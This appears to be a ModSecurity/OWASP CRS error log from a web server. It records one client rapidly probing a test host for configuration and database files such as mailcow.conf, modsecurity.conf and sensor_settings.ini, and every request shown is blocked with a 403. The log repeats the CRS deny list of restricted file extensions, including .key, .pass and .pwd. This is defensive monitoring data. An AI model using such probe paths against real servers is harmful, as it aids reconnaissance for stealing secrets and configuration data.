[Sun Mar 01 20:26:18.224850 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/queue.db&quot;] [unique_id &quot;aaSS2nR69CYXzb6lY2m1MgAAAAc&quot;]
[Sun Mar 01 20:26:18.225033 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/queue.db&quot;] [unique_id &quot;aaSS2nR69CYXzb6lY2m1MgAAAAc&quot;]
[Sun Mar 01 20:26:18.247337 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/sendmail.conf&quot;] [unique_id &quot;aaSS2nR69CYXzb6lY2m1MwAAAAc&quot;]
[Sun Mar 01 20:26:18.247870 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/sendmail.conf&quot;] [unique_id &quot;aaSS2nR69CYXzb6lY2m1MwAAAAc&quot;]
[Sun Mar 01 20:26:18.248095 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/sendmail.conf&quot;] [unique_id &quot;aaSS2nR69CYXzb6lY2m1MwAAAAc&quot;]
[Sun Mar 01 20:26:18.316780 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailcow.conf&quot;] [unique_id &quot;aaSS2nR69CYXzb6lY2m1NgAAAAc&quot;]
[Sun Mar 01 20:26:18.317315 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailcow.conf&quot;] [unique_id &quot;aaSS2nR69CYXzb6lY2m1NgAAAAc&quot;]
[Sun Mar 01 20:26:18.317553 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailcow.conf&quot;] [unique_id &quot;aaSS2nR69CYXzb6lY2m1NgAAAAc&quot;]
[Sun Mar 01 20:26:18.501849 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.old&quot;] [unique_id &quot;aaSS2nR69CYXzb6lY2m1PgAAAAc&quot;]
[Sun Mar 01 20:26:18.502386 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.old&quot;] [unique_id &quot;aaSS2nR69CYXzb6lY2m1PgAAAAc&quot;]
[Sun Mar 01 20:26:18.502568 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.old&quot;] [unique_id &quot;aaSS2nR69CYXzb6lY2m1PgAAAAc&quot;]
[Sun Mar 01 20:26:18.871499 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/media/server.conf&quot;] [unique_id &quot;aaSS2nR69CYXzb6lY2m1TgAAAAc&quot;]
[Sun Mar 01 20:26:18.871983 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/media/server.conf&quot;] [unique_id &quot;aaSS2nR69CYXzb6lY2m1TgAAAAc&quot;]
[Sun Mar 01 20:26:18.872149 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/media/server.conf&quot;] [unique_id &quot;aaSS2nR69CYXzb6lY2m1TgAAAAc&quot;]
[Sun Mar 01 20:26:19.513165 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modbus/settings.conf&quot;] [unique_id &quot;aaSS23R69CYXzb6lY2m1agAAAAc&quot;]
[Sun Mar 01 20:26:19.513650 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modbus/settings.conf&quot;] [unique_id &quot;aaSS23R69CYXzb6lY2m1agAAAAc&quot;]
[Sun Mar 01 20:26:19.513825 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modbus/settings.conf&quot;] [unique_id &quot;aaSS23R69CYXzb6lY2m1agAAAAc&quot;]
[Sun Mar 01 20:26:19.742475 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modsec.conf&quot;] [unique_id &quot;aaSS23R69CYXzb6lY2m1dAAAAAc&quot;]
[Sun Mar 01 20:26:19.742934 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modsec.conf&quot;] [unique_id &quot;aaSS23R69CYXzb6lY2m1dAAAAAc&quot;]
[Sun Mar 01 20:26:19.743091 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modsec.conf&quot;] [unique_id &quot;aaSS23R69CYXzb6lY2m1dAAAAAc&quot;]
[Sun Mar 01 20:26:19.765068 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modsecurity.conf&quot;] [unique_id &quot;aaSS23R69CYXzb6lY2m1dQAAAAc&quot;]
[Sun Mar 01 20:26:19.765525 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modsecurity.conf&quot;] [unique_id &quot;aaSS23R69CYXzb6lY2m1dQAAAAc&quot;]
[Sun Mar 01 20:26:19.765675 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modsecurity.conf&quot;] [unique_id &quot;aaSS23R69CYXzb6lY2m1dQAAAAc&quot;]
[Sun Mar 01 20:26:19.970776 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mpi/params.conf&quot;] [unique_id &quot;aaSS23R69CYXzb6lY2m1fgAAAAc&quot;]
[Sun Mar 01 20:26:19.971348 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mpi/params.conf&quot;] [unique_id &quot;aaSS23R69CYXzb6lY2m1fgAAAAc&quot;]
[Sun Mar 01 20:26:19.971523 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mpi/params.conf&quot;] [unique_id &quot;aaSS23R69CYXzb6lY2m1fgAAAAc&quot;]
[Sun Mar 01 20:26:20.108398 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nanotech/sensor_settings.ini&quot;] [unique_id &quot;aaSS3HR69CYXzb6lY2m1hAAAAAc&quot;]
[Sun Mar 01 20:26:20.109103 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nanotech/sensor_settings.ini&quot;] [unique_id &quot;aaSS3HR69CYXzb6lY2m1hAAAAAc&quot;]
